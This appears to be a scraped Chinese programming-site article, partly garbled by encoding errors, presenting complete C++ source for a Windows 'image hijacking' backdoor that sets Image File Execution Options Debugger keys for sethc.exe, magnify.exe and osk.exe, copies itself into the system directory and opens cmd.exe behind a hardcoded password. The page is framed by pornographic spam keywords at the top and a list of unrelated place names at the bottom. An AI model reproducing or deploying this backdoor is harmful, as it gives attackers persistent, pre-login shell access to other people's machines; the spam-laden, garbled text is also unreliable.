最新国产好看的视频,伊人天堂AV在线,国产Aaaaaa视频,蜜臀视频在线观看一区,人妻av色图,密臀久久久精品影片,青青视频免费观看毛片,久草在线观看视,国产三级精品色情在线

C++映像劫持后門(mén)實(shí)例分析

 更新時(shí)間:2015年04月25日 10:55:48   作者:#a  
這篇文章主要介紹了C++映像劫持后門(mén),實(shí)例分析了C++映像劫持后門(mén)的原理與相關(guān)實(shí)現(xiàn)技巧,有助于進(jìn)一步了解后門(mén)的原理,需要的朋友可以參考下

本文實(shí)例講述了C++映像劫持后門(mén)的方法。分享給大家供大家參考。具體如下:

// freeheart.cpp : Defines the entry point for the console application.
//學(xué)習(xí)交流使用,違法使用后果自負(fù)。
// by:cnblogs.com/blogg time 2013.5.24
// argv 0 = freeheart.exe
// argv 1 = -i 
// argv 2 = name.exe
// argv 3 = 1 2 3
// 此程序使用的映像劫持技術(shù),
// 在注冊(cè)表當(dāng)中建立一個(gè)程序名的項(xiàng)目,在里面使用debugger,然后在里面指向自己的程序。
//[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options]
//
#include "stdafx.h"
#include "windows.h"
#include "atlbase.h"
#include <iostream>
using namespace std;
int main(int argc, char* argv[])
{
void anzhuang(char *Path,char *filename);
void xiezai(char *path,char *hName);
void CopyZiji(char *CopyPath);
char *password = "free";   //真密碼緩沖區(qū)
char *shuruPwd = "";    //輸入的密碼緩沖區(qū)
int errorbuff = 0;
char *PathBuff = "";  
char *FileName = "";
char *chsname = "sethc.exe"; //SHIFT粘貼鍵程序的名稱(chēng)
char *fangdajing = "magnify.exe"; //
char *pingmujianpan = "osk.exe"; //
LPTSTR sysbuff;   //得到系統(tǒng)路徑的緩沖區(qū)
TCHAR tchBuffer2[1024];  //申請(qǐng)一個(gè)字符變量數(shù)組
sysbuff = tchBuffer2; //把系統(tǒng)的路徑放到這個(gè)變量數(shù)組里
 if(GetSystemDirectory(sysbuff, MAX_PATH)) //得到系統(tǒng)路徑
 {
  sysbuff = strcat(sysbuff,"\\"); //strcat 剪切在一起,把\\放在系統(tǒng)路徑的后面,然后放入系統(tǒng)緩沖區(qū)當(dāng)中。 
 }
 if (argv[1] != NULL)
 {
  //安裝命令判斷
  if (strcmp(argv[1],"-i") == 0)
  {
   if (argv[2] != NULL)
   {
    FileName=argv[2];
   }
   else
   {
    cout<<"請(qǐng)輸入文件名!";
    return 0;
   }
   if(argv[3] != NULL)
   {
    if(strcmp(argv[3],"1") == 0)
    {
     anzhuang(FileName,chsname);
     PathBuff = strcat(sysbuff,FileName);
     CopyZiji(PathBuff); 
     cout<<"創(chuàng)建完成! : "<<PathBuff<<endl;
     return 0;
    }
     if(strcmp(argv[3],"2") == 0)
     {
     anzhuang(FileName,fangdajing);
     PathBuff = strcat(sysbuff,FileName);
     CopyZiji(PathBuff); //調(diào)用函數(shù)
     cout<<"創(chuàng)建完成! : "<<PathBuff<<endl;
     return 0;
     }
      if(strcmp(argv[3],"3") == 0)
      {
      anzhuang(FileName,pingmujianpan);
      PathBuff = strcat(sysbuff,FileName);
      CopyZiji(PathBuff); //調(diào)用函數(shù)
      cout<<"創(chuàng)建完成! : "<<PathBuff<<endl;
      return 0;
      }
   }
       else
       {
       cout<<"請(qǐng)輸入?yún)?shù)!"<<endl;
       }
   return 0;
  }
//卸載
  if (strcmp(argv[1],"-u") == 0)
  {
   if(argv[2] != NULL)
   {
    if(strcmp(argv[2],"1") == 0)
    {
     xiezai(sysbuff,chsname);
     cout<<"刪除文件成功!"<<endl;
     return 0;
    }
     if(strcmp(argv[2],"2") == 0)
     {
     xiezai(sysbuff,fangdajing);
     cout<<"刪除文件成功!"<<endl;
     return 0;
     }
      if(strcmp(argv[2],"3") == 0)
      {
      xiezai(sysbuff,pingmujianpan);
      cout<<"刪除文件成功!"<<endl;
      return 0;
      }
   }
       else
       {
       cout<<"請(qǐng)輸入?yún)?shù)!"<<endl;
       }
   return 0;
  }
      //為什么會(huì)進(jìn)入這里 因?yàn)閐ebugger a.exe 其實(shí)是兩個(gè)參數(shù),因?yàn)閕f (argv[1] != NULL) 也就是第二個(gè)參數(shù)不等于空的話執(zhí)行下面的語(yǔ)句。
      while(errorbuff<3) //循環(huán)三次,錯(cuò)誤。
       {
       cout<<"password:";
       cin>>shuruPwd;
        if (strcmp(shuruPwd,password) == 0)
        {
        system("cmd.exe");
        break;
        }
         else
         {
         cout<<"密碼錯(cuò)誤!"<<endl;
         }
         errorbuff++; //自加一次 
       }
       return 0;
 }
system("color a");
cout<<"-----------------------------------------------------"<<endl;
cout<<"歡迎光臨自由的心,祝您好運(yùn)!"<<endl;
cout<<"1: sethc.exe  Shift后門(mén)\n";
cout<<"2: magnify.exe 放大鏡后門(mén)\n";
cout<<"3: osk.exe  屏幕鍵盤(pán)后門(mén)\n";
cout<<"-----------------------------------------------------"<<endl;
cout<<"安裝: freeheart.exe -i xx.exe 1"<<endl;
cout<<"卸載: freeheart.exe -u 1"<<endl;
cout<<"連接密碼:free"<<endl;
cout<<"-----------------------------------------------------"<<endl;
return 0;
}
//安裝函數(shù)
void anzhuang(char *Path,char *filename)
{
 HKEY hSoftKey = NULL;
 HKEY hCompanyKey = NULL;
 if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, _T("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options"), 0, KEY_WRITE|KEY_READ,&hSoftKey) == ERROR_SUCCESS)
 {
  if (RegCreateKeyEx(hSoftKey, _T(filename), 0, REG_NONE,REG_OPTION_NON_VOLATILE, KEY_WRITE|KEY_READ, NULL,&hCompanyKey,NULL) == ERROR_SUCCESS)
  {
   LPBYTE Value=(LPBYTE)Path; 
   long ret1=::RegSetValueEx(hCompanyKey,"Debugger",0,REG_SZ,(BYTE*)Value,50); 
   RegCloseKey(hCompanyKey);
  }
  RegCloseKey(hSoftKey);
 }
}
//卸載函數(shù)
void xiezai(char *path,char *hName) //hName 傳遞進(jìn)來(lái)的程序名
{
 HKEY hSoftKey = NULL;
 LPCTSTR hMainKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options"; 
 if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, hMainKey, 0, KEY_WRITE|KEY_READ,&hSoftKey) == ERROR_SUCCESS)
 {
 DWORD len = 256;
 DWORD type = REG_SZ;
 LPBYTE last = new BYTE[256];
 LPCTSTR hname = (LPCTSTR)hName; 
 char *HHname;
 HKEY hKey;    //在注冊(cè)表當(dāng)中創(chuàng)建一個(gè)magnify名的項(xiàng),在里面當(dāng)中加入debugger,里面跟上自己的程序名的值。
 char* DelCom;
 HHname=strcat((char *)hMainKey,"\\"); //hmainkey 注冊(cè)表的路徑
 HHname=strcat((char *)hMainKey,(char *)hname); //hname 程序名
  if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,(LPCTSTR)HHname,0,KEY_READ,&hKey)==ERROR_SUCCESS && RegQueryValueEx(hKey,"Debugger",0,&type,last,&len)==ERROR_SUCCESS)
  {
   DelCom=strcat(path,reinterpret_cast <char*>(last));
   DeleteFile(DelCom); //刪除文件
   RegDeleteKey(hSoftKey,hname); //刪除注冊(cè)表
  }
  RegCloseKey(hSoftKey); //關(guān)閉句柄
  RegCloseKey(hKey); //關(guān)閉句柄
 }
}
void CopyZiji(char *CopyPath) //將自身生成exe文件復(fù)制到指定的路徑下
{
 char PathBuff[MAX_PATH]; //申請(qǐng)一個(gè)字符變量數(shù)組,大小是系統(tǒng)最大的長(zhǎng)度。
 GetModuleFileName(NULL,PathBuff,MAX_PATH); //第一個(gè)參數(shù)為NULL,就表示獲取當(dāng)前程序的路徑,第二個(gè)參數(shù)就是存放到緩沖區(qū)。
 CopyFile(PathBuff,CopyPath,true); //CurrentPath 是自身exe,把自身復(fù)制到目標(biāo)路徑當(dāng)中
}

希望本文所述對(duì)大家的C++程序設(shè)計(jì)有所幫助。

相關(guān)文章

  • C++超詳細(xì)講解構(gòu)造函數(shù)

    C++超詳細(xì)講解構(gòu)造函數(shù)

    C++的構(gòu)造函數(shù)的作?:初始化類(lèi)對(duì)象的數(shù)據(jù)成員。即類(lèi)的對(duì)象被創(chuàng)建的時(shí)候,編譯系統(tǒng)對(duì)該對(duì)象分配內(nèi)存空間,并?動(dòng)調(diào)?構(gòu)造函數(shù),完成類(lèi)成員的初始化。構(gòu)造函數(shù)的特點(diǎn):以類(lèi)名作為函數(shù)名,?返回類(lèi)型
    2022-06-06
  • C語(yǔ)言實(shí)現(xiàn)通訊管理系統(tǒng)設(shè)計(jì)

    C語(yǔ)言實(shí)現(xiàn)通訊管理系統(tǒng)設(shè)計(jì)

    這篇文章主要為大家詳細(xì)介紹了C語(yǔ)言實(shí)現(xiàn)通訊管理系統(tǒng)設(shè)計(jì),具有一定的參考價(jià)值,感興趣的小伙伴們可以參考一下
    2018-01-01
  • C語(yǔ)言學(xué)生成績(jī)管理系統(tǒng)源碼

    C語(yǔ)言學(xué)生成績(jī)管理系統(tǒng)源碼

    這篇文章主要為大家詳細(xì)介紹了C語(yǔ)言學(xué)生成績(jī)管理系統(tǒng)源碼,文中示例代碼介紹的非常詳細(xì),具有一定的參考價(jià)值,感興趣的小伙伴們可以參考一下
    2022-03-03
  • C語(yǔ)言如何與ARM匯編語(yǔ)言混合編程示例詳解

    C語(yǔ)言如何與ARM匯編語(yǔ)言混合編程示例詳解

    本文主要敘述了C與匯編語(yǔ)言混合編程,匯編語(yǔ)言指的是ARM匯編語(yǔ)言。本文用來(lái)幫助理解ARM嵌入式中的匯編程序,及C語(yǔ)言如何與匯編混合編程
    2021-10-10
  • C++中關(guān)于set刪除的一些坑

    C++中關(guān)于set刪除的一些坑

    這篇文章主要介紹了C++中關(guān)于set刪除的一些坑,因?yàn)檫@個(gè)問(wèn)題浪費(fèi)了很多的時(shí)間,所以想著分享出來(lái)給大家,方便同樣遇到這個(gè)問(wèn)題的朋友們,有需要的朋友們下面來(lái)一起看看吧。
    2017-02-02
  • C語(yǔ)言接口與實(shí)現(xiàn)方法實(shí)例詳解

    C語(yǔ)言接口與實(shí)現(xiàn)方法實(shí)例詳解

    這篇文章主要介紹了C語(yǔ)言接口與實(shí)現(xiàn)方法,包括接口的概念、實(shí)現(xiàn)方法及抽象數(shù)據(jù)類(lèi)型等,并配合實(shí)例予以說(shuō)明,需要的朋友可以參考下
    2014-09-09
  • 素?cái)?shù)判定算法的實(shí)現(xiàn)

    素?cái)?shù)判定算法的實(shí)現(xiàn)

    這篇文章主要介紹了素?cái)?shù)判定算法的實(shí)現(xiàn),素?cái)?shù)判定問(wèn)題是一個(gè)非常常見(jiàn)的問(wèn)題,本文介紹了常用的幾種判定方法,需要的朋友可以參考下
    2014-08-08
  • C++中不能被重載的運(yùn)算符介紹

    C++中不能被重載的運(yùn)算符介紹

    其實(shí)在C/C++ 里大多數(shù)運(yùn)算符都可以在C++中被重載的。C 的運(yùn)算符中只有 . 和 ?:(以及 sizeof,技術(shù)上可以看作一個(gè)運(yùn)算符)不可以被重載
    2013-10-10
  • C語(yǔ)言實(shí)現(xiàn)模擬銀行系統(tǒng)

    C語(yǔ)言實(shí)現(xiàn)模擬銀行系統(tǒng)

    這篇文章主要為大家詳細(xì)介紹了C語(yǔ)言實(shí)現(xiàn)模擬銀行系統(tǒng),文中示例代碼介紹的非常詳細(xì),具有一定的參考價(jià)值,感興趣的小伙伴們可以參考一下
    2022-06-06
  • C++入門(mén)(命名空間,缺省參數(shù),函數(shù)重載,引用,內(nèi)聯(lián)函數(shù),auto,范圍for)

    C++入門(mén)(命名空間,缺省參數(shù),函數(shù)重載,引用,內(nèi)聯(lián)函數(shù),auto,范圍for)

    這篇文章主要介紹了C++入門(mén)(命名空間,缺省參數(shù),函數(shù)重載,引用,內(nèi)聯(lián)函數(shù),auto,范圍for),這些基礎(chǔ)知識(shí)是學(xué)習(xí)C++最最基礎(chǔ)需要掌握的知識(shí)點(diǎn),需要的朋友可以參考下
    2021-05-05

最新評(píng)論

泾川县| 顺义区| 宣武区| 祁连县| 濉溪县| 山阴县| 博客| 大石桥市| 文安县| 钟山县| 海伦市| 新田县| 阿城市| 合肥市| 靖远县| 灵宝市| 察隅县| 化德县| 高青县| 南和县| 鱼台县| 塘沽区| 池州市| 乐业县| 延安市| 峡江县| 高尔夫| 闽侯县| 鹤峰县| 甘德县| 马公市| 南丰县| 唐河县| 义马市| 双峰县| 灵山县| 弥勒县| 瓦房店市| 蕲春县| 南漳县| 吉木萨尔县|